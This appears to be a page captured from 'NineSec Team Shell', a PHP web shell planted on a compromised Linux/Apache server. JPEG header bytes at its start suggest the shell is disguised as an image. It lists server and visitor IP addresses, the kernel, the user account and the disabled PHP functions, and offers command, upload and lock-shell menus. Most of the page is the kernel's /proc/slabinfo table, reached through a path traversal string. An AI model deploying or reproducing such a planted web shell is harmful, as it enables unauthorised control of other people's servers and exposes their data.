�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.130
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /media/../etc/ghostscript/../python3/../python2.7/../../boot/../opt/../../../../../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../etc/ghostscript/../python3/../python2.7/../../boot/../opt/../../../../../proc/slabinfo
slabinfo - version: 2.1
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
nf_conntrack_expect    273    273    208   39    2 : tunables    0    0    0 : slabdata      7      7      0
nf_conntrack        1114   1568    256   32    2 : tunables    0    0    0 : slabdata     49     49      0
isofs_inode_cache     48     48    680   24    4 : tunables    0    0    0 : slabdata      2      2      0
rpc_inode_cache       23     23    704   23    4 : tunables    0    0    0 : slabdata      1      1      0
kvm_vcpu               9      9   9152    3    8 : tunables    0    0    0 : slabdata      3      3      0
kvm_mmu_page_header    110    110    184   22    1 : tunables    0    0    0 : slabdata      5      5      0
x86_emulator          36     36   2672   12    8 : tunables    0    0    0 : slabdata      3      3      0
zfs_znode_hold_cache      0      0     88   46    1 : tunables    0    0    0 : slabdata      0      0      0
zfs_znode_cache        0      0   1120   29    8 : tunables    0    0    0 : slabdata      0      0      0
zap_attr_long_cache      0      0   1056   31    8 : tunables    0    0    0 : slabdata      0      0      0
zap_name_long          0      0   1096   29    8 : tunables    0    0    0 : slabdata      0      0      0
zap_attr_cache         0      0    288   28    2 : tunables    0    0    0 : slabdata      0      0      0
zap_name               0      0    328   24    2 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_2            0      0    168   24    1 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_1            0      0    152   26    1 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_0            0      0    136   30    1 : tunables    0    0    0 : slabdata      0      0      0
zil_zcw_cache          0      0    152   26    1 : tunables    0    0    0 : slabdata      0      0      0
zil_lwb_cache          0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
dbuf_dirty_record_t      0      0    368   22    2 : tunables    0    0    0 : slabdata      0      0      0
dmu_buf_impl_t         0      0    368   22    2 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_t              0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_hdr_t_l2only      0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_hdr_t_full     34     34    240   34    2 : tunables    0    0    0 : slabdata      1      1      0
dnode_t                0      0    952   34    8 : tunables    0    0    0 : slabdata      0      0      0
sa_cache               0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
abd_t                 42     42     96   42    1 : tunables    0    0    0 : slabdata      1      1      0
lz4_cache              0      0  16384    2    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_16384      6      6  16384    2    8 : tunables    0    0    0 : slabdata      3      3      0
zio_buf_comb_12288      0      0  12288    2    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_8192      0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_6144      0      0   6144    5    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_4096      0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_3072      0      0   3072   10    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_2048      0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_1536      0      0   1536   21    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_1024      0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_512       0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
zio_link_cache         0      0     48   85    1 : tunables    0    0    0 : slabdata      0      0      0
zio_cache              0      0   1216   26    8 : tunables    0    0    0 : slabdata      0      0      0
ddt_log_entry_trad_cache      0      0    328   24    2 : tunables    0    0    0 : slabdata      0      0      0
ddt_log_entry_flat_cache      0      0    144   28    1 : tunables    0    0    0 : slabdata      0      0      0
ddt_entry_trad_cache      0      0    424   38    4 : tunables    0    0    0 : slabdata      0      0      0
ddt_entry_flat_cache      0      0    240   34    2 : tunables    0    0    0 : slabdata      0      0      0
brt_entry_cache        0      0    168   24    1 : tunables    0    0    0 : slabdata      0      0      0
metaslab_alloc_trace_cache      0      0     72   56    1 : tunables    0    0    0 : slabdata      0      0      0
zfs_btree_leaf_cache      0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
kcf_context_cache      0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
ext4_groupinfo_4k  29718  29718    152   26    1 : tunables    0    0    0 : slabdata   1143   1143      0
bio-176              714    714    192   21    1 : tunables    0    0    0 : slabdata     34     34      0
scsi_sense_cache     384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
fsverity_info          0      0    264   31    2 : tunables    0    0    0 : slabdata      0      0      0
fscrypt_inode_info      0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
MPTCPv6                0      0   2112   15    8 : tunables    0    0    0 : slabdata      0      0      0
ip6-frags              0      0    184   22    1 : tunables    0    0    0 : slabdata      0      0      0
RAWv6                338    338   1216   26    8 : tunables    0    0    0 : slabdata     13     13      0
UDPv6                552    621   1408   23    8 : tunables    0    0    0 : slabdata     27     27      0
tw_sock_TCPv6        713    837    264   31    2 : tunables    0    0    0 : slabdata     27     27      0
request_sock_TCPv6    150    150    320   25    2 : tunables    0    0    0 : slabdata      6      6      0
TCPv6                216    216   2624   12    8 : tunables    0    0    0 : slabdata     18     18      0
kcopyd_job             0      0   3240   10    8 : tunables    0    0    0 : slabdata      0      0      0
dm_uevent              0      0   2888   11    8 : tunables    0    0    0 : slabdata      0      0      0
bio-136              588    588    192   21    1 : tunables    0    0    0 : slabdata     28     28      0
io_kiocb             384    384    256   32    2 : tunables    0    0    0 : slabdata     12     12      0
bio-264              100    100    320   25    2 : tunables    0    0    0 : slabdata      4      4      0
mqueue_inode_cache     68     68    960   34    8 : tunables    0    0    0 : slabdata      2      2      0
fuse_request         391    391    176   23    1 : tunables    0    0    0 : slabdata     17     17      0
fuse_inode          2880   2880    896   36    8 : tunables    0    0    0 : slabdata     80     80      0
ecryptfs_inode_cache      0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
ecryptfs_file_cache      0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
fat_inode_cache       40     40    784   20    4 : tunables    0    0    0 : slabdata      2      2      0
fat_cache              0      0     40  102    1 : tunables    0    0    0 : slabdata      0      0      0
squashfs_inode_cache      0      0    704   23    4 : tunables    0    0    0 : slabdata      0      0      0
jbd2_transaction_s   1449   1449    192   21    1 : tunables    0    0    0 : slabdata     69     69      0
jbd2_journal_head   2265   2482    120   34    1 : tunables    0    0    0 : slabdata     73     73      0
jbd2_revoke_table_s    768    768     16  256    1 : tunables    0    0    0 : slabdata      3      3      0
ext4_inode_cache  1796258 2462303   1128   29    8 : tunables    0    0    0 : slabdata  84907  84907      0
ext4_allocation_context    288    288    168   24    1 : tunables    0    0    0 : slabdata     12     12      0
ext4_prealloc_space    504    504    112   36    1 : tunables    0    0    0 : slabdata     14     14      0
ext4_io_end         2560   2560     64   64    1 : tunables    0    0    0 : slabdata     40     40      0
bio_post_read_ctx    170    170     48   85    1 : tunables    0    0    0 : slabdata      2      2      0
pending_reservation   3072   3584     32  128    1 : tunables    0    0    0 : slabdata     28     28      0
extent_status     1782525 1881696     40  102    1 : tunables    0    0    0 : slabdata  18448  18448      0
mb_cache_entry      3139   3431     56   73    1 : tunables    0    0    0 : slabdata     47     47      0
kioctx               196    196    576   28    4 : tunables    0    0    0 : slabdata      7      7      0
userfaultfd_ctx_cache      0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
fanotify_perm_event      0      0    112   36    1 : tunables    0    0    0 : slabdata      0      0      0
dnotify_struct         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
pid_namespace         28     28    288   28    2 : tunables    0    0    0 : slabdata      1      1      0
xsk_generic_xmit_cache   3456   3456     32  128    1 : tunables    0    0    0 : slabdata     27     27      0
ip4-frags            240    240    200   20    1 : tunables    0    0    0 : slabdata     12     12      0
MPTCP                  0      0   1984   16    8 : tunables    0    0    0 : slabdata      0      0      0
request_sock_subflow_v6      0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
request_sock_subflow_v4      0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
xfrm_dst               0      0    320   25    2 : tunables    0    0    0 : slabdata      0      0      0
xfrm_state             0      0    832   39    8 : tunables    0    0    0 : slabdata      0      0      0
ip_fib_trie          850    850     48   85    1 : tunables    0    0    0 : slabdata     10     10      0
ip_fib_alias         730    730     56   73    1 : tunables    0    0    0 : slabdata     10     10      0
PING                  32     32   1024   32    8 : tunables    0    0    0 : slabdata      1      1      0
RAW                  416    416   1024   32    8 : tunables    0    0    0 : slabdata     13     13      0
UDP                  495    598   1216   26    8 : tunables    0    0    0 : slabdata     23     23      0
tw_sock_TCP         1209   1209    264   31    2 : tunables    0    0    0 : slabdata     39     39      0
request_sock_TCP     676    800    320   25    2 : tunables    0    0    0 : slabdata     32     32      0
TCP                  585    585   2432   13    8 : tunables    0    0    0 : slabdata     45     45      0
hugetlbfs_inode_cache    200    200    640   25    4 : tunables    0    0    0 : slabdata      8      8      0
dquot                  0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
bio-280               50     50    320   25    2 : tunables    0    0    0 : slabdata      2      2      0
ep_head             4457   4864     16  256    1 : tunables    0    0    0 : slabdata     19     19      0
eventpoll_epi       3014   3648    128   32    1 : tunables    0    0    0 : slabdata    114    114      0
dax_cache             39     39    832   39    8 : tunables    0    0    0 : slabdata      1      1      0
bio_integrity_data    320    320    128   32    1 : tunables    0    0    0 : slabdata     10     10      0
request_queue        160    160   1000   32    8 : tunables    0    0    0 : slabdata      5      5      0
bio-200              976   1024    256   32    2 : tunables    0    0    0 : slabdata     32     32      0
biovec-max           280    280   4096    8    8 : tunables    0    0    0 : slabdata     35     35      0
biovec-128           432    432   2048   16    8 : tunables    0    0    0 : slabdata     27     27      0
msg_msg-8k             0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-4k             0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-2k             0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-1k             0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-512            0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-256            0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-128            0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-64             0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-32             0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-16             0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-8              0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-192            0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-96             0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
khugepaged_mm_slot   2856   2856     40  102    1 : tunables    0    0    0 : slabdata     28     28      0
memdup_user-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-4k        32     32   4096    8    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-2k        64     64   2048   16    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-1k       128    128   1024   32    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-512       96     96    512   32    4 : tunables    0    0    0 : slabdata      3      3      0
memdup_user-256        0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-128        0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-64       768    768     64   64    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-32      1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-16      3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-8       6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-192       63     63    192   21    1 : tunables    0    0    0 : slabdata      3      3      0
memdup_user-96       504    504     96   42    1 : tunables    0    0    0 : slabdata     12     12      0
user_namespace       182    182    616   26    4 : tunables    0    0    0 : slabdata      7      7      0
iommu_iova_magazine    672    736   1024   32    8 : tunables    0    0    0 : slabdata     23     23      0
dmaengine-unmap-256     15     15   2112   15    8 : tunables    0    0    0 : slabdata      1      1      0
dmaengine-unmap-128     30     30   1088   30    8 : tunables    0    0    0 : slabdata      1      1      0
dmaengine-unmap-2 454915 778368     64   64    1 : tunables    0    0    0 : slabdata  12162  12162      0
sock_inode_cache    3387   3510    832   39    8 : tunables    0    0    0 : slabdata     90     90      0
skbuff_small_head    812    897    704   23    4 : tunables    0    0    0 : slabdata     39     39      0
skbuff_head_cache   1243   1344    256   32    2 : tunables    0    0    0 : slabdata     42     42      0
tracefs_inode_cache    336    336    664   24    4 : tunables    0    0    0 : slabdata     14     14      0
debugfs_inode_cache   1575   1575    648   25    4 : tunables    0    0    0 : slabdata     63     63      0
file_lease_cache       0      0    160   25    1 : tunables    0    0    0 : slabdata      0      0      0
file_lock_cache     2353   2478    192   21    1 : tunables    0    0    0 : slabdata    118    118      0
buffer_head       1464081 3263208    104   39    1 : tunables    0    0    0 : slabdata  83672  83672      0
x86_lbr                0      0    800   20    4 : tunables    0    0    0 : slabdata      0      0      0
task_delay_info      384    384    256   32    2 : tunables    0    0    0 : slabdata     12     12      0
taskstats            957    957    560   29    4 : tunables    0    0    0 : slabdata     33     33      0
mem_cgroup_per_node    578    595   1920   17    8 : tunables    0    0    0 : slabdata     35     35      0
mem_cgroup           600    630   2240   14    8 : tunables    0    0    0 : slabdata     45     45      0
pidfs_xattr_cache      0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
pidfs_attr_cache    3620   4096     32  128    1 : tunables    0    0    0 : slabdata     32     32      0
proc_dir_entry      1260   1260    192   21    1 : tunables    0    0    0 : slabdata     60     60      0
pde_opener          1224   1224     40  102    1 : tunables    0    0    0 : slabdata     12     12      0
proc_inode_cache   19688  33511    704   23    4 : tunables    0    0    0 : slabdata   1457   1457      0
seq_file             408    408    120   34    1 : tunables    0    0    0 : slabdata     12     12      0
sigqueue            2295   2295     80   51    1 : tunables    0    0    0 : slabdata     45     45      0
bdev_cache           133    133   1664   19    8 : tunables    0    0    0 : slabdata      7      7      0
shmem_inode_cache   3207   3300    784   20    4 : tunables    0    0    0 : slabdata    165    165      0
kernfs_node_cache  67778  68130    136   30    1 : tunables    0    0    0 : slabdata   2271   2271      0
mnt_cache           1280   1344    384   21    2 : tunables    0    0    0 : slabdata     64     64      0
bfilp                  0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
filp               32903  32907    192   21    1 : tunables    0    0    0 : slabdata   1567   1567      0
inode_cache        17299  19200    632   25    4 : tunables    0    0    0 : slabdata    768    768      0
dentry            1081702 1606479    192   21    1 : tunables    0    0    0 : slabdata  76499  76499      0
names_cache          168    208   4096    8    8 : tunables    0    0    0 : slabdata     26     26      0
net_namespace         40     40   5952    5    8 : tunables    0    0    0 : slabdata      8      8      0
ima_iint_cache         0      0    104   39    1 : tunables    0    0    0 : slabdata      0      0      0
lsm_inode_cache   1969499 2658202     88   46    1 : tunables    0    0    0 : slabdata  57787  57787      0
lsm_file_cache     34441  37740     24  170    1 : tunables    0    0    0 : slabdata    222    222      0
uts_namespace        444    444    432   37    4 : tunables    0    0    0 : slabdata     12     12      0
nsproxy              672    672     72   56    1 : tunables    0    0    0 : slabdata     12     12      0
vm_area_struct    1547790 1552236    192   21    1 : tunables    0    0    0 : slabdata  73916  73916      0
files_cache         2392   2392    704   23    4 : tunables    0    0    0 : slabdata    104    104      0
signal_cache        3544   3584   1152   28    8 : tunables    0    0    0 : slabdata    128    128      0
sighand_cache       2410   2415   2112   15    8 : tunables    0    0    0 : slabdata    161    161      0
task_struct         3832   3832  12480    2    8 : tunables    0    0    0 : slabdata   1916   1916      0
anon_vma_chain    1158943 1163392     64   64    1 : tunables    0    0    0 : slabdata  18178  18178      0
anon_vma          587697 589758    104   39    1 : tunables    0    0    0 : slabdata  15122  15122      0
pid                 7245   7245    192   21    1 : tunables    0    0    0 : slabdata    345    345      0
Acpi-ParseExt        468    468    104   39    1 : tunables    0    0    0 : slabdata     12     12      0
Acpi-State          2435   2448     80   51    1 : tunables    0    0    0 : slabdata     48     48      0
shared_policy_node   7820   7820     48   85    1 : tunables    0    0    0 : slabdata     92     92      0
numa_policy          180    180    272   30    2 : tunables    0    0    0 : slabdata      6      6      0
perf_event           288    288   1344   24    8 : tunables    0    0    0 : slabdata     12     12      0
trace_event_file    2226   2226     96   42    1 : tunables    0    0    0 : slabdata     53     53      0
ftrace_event_field  50280  66284     56   73    1 : tunables    0    0    0 : slabdata    908    908      0
pool_workqueue      1888   1920    512   32    4 : tunables    0    0    0 : slabdata     60     60      0
radix_tree_node   593982 732368    584   28    4 : tunables    0    0    0 : slabdata  26156  26156      0
task_group          1175   1175    640   25    4 : tunables    0    0    0 : slabdata     47     47      0
maple_node        139236 140384    256   32    2 : tunables    0    0    0 : slabdata   4387   4387      0
mm_struct           2260   2268   1536   21    8 : tunables    0    0    0 : slabdata    108    108      0
vmap_area          39430  42112     72   56    1 : tunables    0    0    0 : slabdata    752    752      0
kmalloc_buckets       36     36    112   36    1 : tunables    0    0    0 : slabdata      1      1      0
kmalloc-cg-8k         72     72   8192    4    8 : tunables    0    0    0 : slabdata     18     18      0
kmalloc-cg-4k        257    280   4096    8    8 : tunables    0    0    0 : slabdata     35     35      0
kmalloc-cg-2k       1743   1840   2048   16    8 : tunables    0    0    0 : slabdata    115    115      0
kmalloc-cg-1k       2619   2624   1024   32    8 : tunables    0    0    0 : slabdata     82     82      0
kmalloc-cg-512      1375   1600    512   32    4 : tunables    0    0    0 : slabdata     50     50      0
kmalloc-cg-256       416    416    256   32    2 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-cg-128      1024   1024    128   32    1 : tunables    0    0    0 : slabdata     32     32      0
kmalloc-cg-64       7488   7488     64   64    1 : tunables    0    0    0 : slabdata    117    117      0
kmalloc-cg-32       5540   6144     32  128    1 : tunables    0    0    0 : slabdata     48     48      0
kmalloc-cg-16       3328   3328     16  256    1 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-cg-8       12019  13312      8  512    1 : tunables    0    0    0 : slabdata     26     26      0
kmalloc-cg-192      2058   2058    192   21    1 : tunables    0    0    0 : slabdata     98     98      0
kmalloc-cg-96       1893   2184     96   42    1 : tunables    0    0    0 : slabdata     52     52      0
dma-kmalloc-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-4k         0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-2k         0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-1k         0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-512        0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-256        0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-128        0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-192        0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-96         0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-4k        48     48   4096    8    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-2k        96     96   2048   16    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-1k       192    192   1024   32    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-512      480    480    512   32    4 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rcl-256      800    800    256   32    2 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-rcl-128     3882   4064    128   32    1 : tunables    0    0    0 : slabdata    127    127      0
kmalloc-rcl-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-192     3864   3864    192   21    1 : tunables    0    0    0 : slabdata    184    184      0
kmalloc-rcl-96    222577 236838     96   42    1 : tunables    0    0    0 : slabdata   5639   5639      0
kmalloc-rnd-15-8k    160    160   8192    4    8 : tunables    0    0    0 : slabdata     40     40      0
kmalloc-rnd-15-4k     40     40   4096    8    8 : tunables    0    0    0 : slabdata      5      5      0
kmalloc-rnd-15-2k    112    112   2048   16    8 : tunables    0    0    0 : slabdata      7      7      0
kmalloc-rnd-15-1k    610    640   1024   32    8 : tunables    0    0    0 : slabdata     20     20      0
kmalloc-rnd-15-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-15-256    480    480    256   32    2 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rnd-15-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-64   1538   1664     64   64    1 : tunables    0    0    0 : slabdata     26     26      0
kmalloc-rnd-15-32   5608   5888     32  128    1 : tunables    0    0    0 : slabdata     46     46      0
kmalloc-rnd-15-16   3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-8    6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-192    336    336    192   21    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rnd-15-96   1050   1050     96   42    1 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-rnd-14-8k     40     40   8192    4    8 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-14-4k     96     96   4096    8    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-2k    192    192   2048   16    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-1k   1038   1088   1024   32    8 : tunables    0    0    0 : slabdata     34     34      0
kmalloc-rnd-14-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-14-256   1408   1408    256   32    2 : tunables    0    0    0 : slabdata     44     44      0
kmalloc-rnd-14-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-64   1024   1024     64   64    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rnd-14-32   1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-16   3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-8   11264  13312      8  512    1 : tunables    0    0    0 : slabdata     26     26      0
kmalloc-rnd-14-192    273    273    192   21    1 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-14-96   2268   2268     96   42    1 : tunables    0    0    0 : slabdata     54     54      0
kmalloc-rnd-13-8k      4      4   8192    4    8 : tunables    0    0    0 : slabdata      1      1      0
kmalloc-rnd-13-4k    222    232   4096    8    8 : tunables    0    0    0 : slabdata     29     29      0
kmalloc-rnd-13-2k    480    480   2048   16    8 : tunables    0    0    0 : slabdata     30     30      0
kmalloc-rnd-13-1k    480    480   1024   32    8 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rnd-13-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-13-256   1184   1184    256   32    2 : tunables    0    0    0 : slabdata     37     37      0
kmalloc-rnd-13-128    416    416    128   32    1 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-13-64   3180   3328     64   64    1 : tunables    0    0    0 : slabdata     52     52      0
kmalloc-rnd-13-32   1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-13-16   4864   4864     16  256    1 : tunables    0    0    0 : slabdata     19     19      0
kmalloc-rnd-13-8    6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-13-192   1092   1092    192   21    1 : tunables    0    0    0 : slabdata     52     52      0
kmalloc-rnd-13-96   2520   2520     96   42    1 : tunables    0    0    0 : slabdata     60     60      0
kmalloc-rnd-12-8k      0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rnd-12-4k     96     96   4096    8    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-2k    272    272   2048   16    8 : tunables    0    0    0 : slabdata     17     17      0
kmalloc-rnd-12-1k    384    384   1024   32    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-512    672    672    512   32    4 : tunables    0    0    0 : slabdata     21     21      0
kmalloc-rnd-12-256    384    384    256   32    2 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-64   1904   2112     64   64    1 : tunables    0    0    0 : slabdata     33     33      0
kmalloc-rnd-12-32   2048   2048     32  128    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rnd-12-16   2560   2560     16  256    1 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-12-8    5120   5120      8  512    1 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-12-192  97545  97545    192   21    1 : tunables    0    0    0 : slabdata   4645   4645      0
kmalloc-rnd-12-96   5628   5628     96   42    1 : tunables    0    0    0 : slabdata    134    134      0
kmalloc-rnd-11-8k    108    132   8192    4    8 : tunables    0    0    0 : slabdata     33     33      0
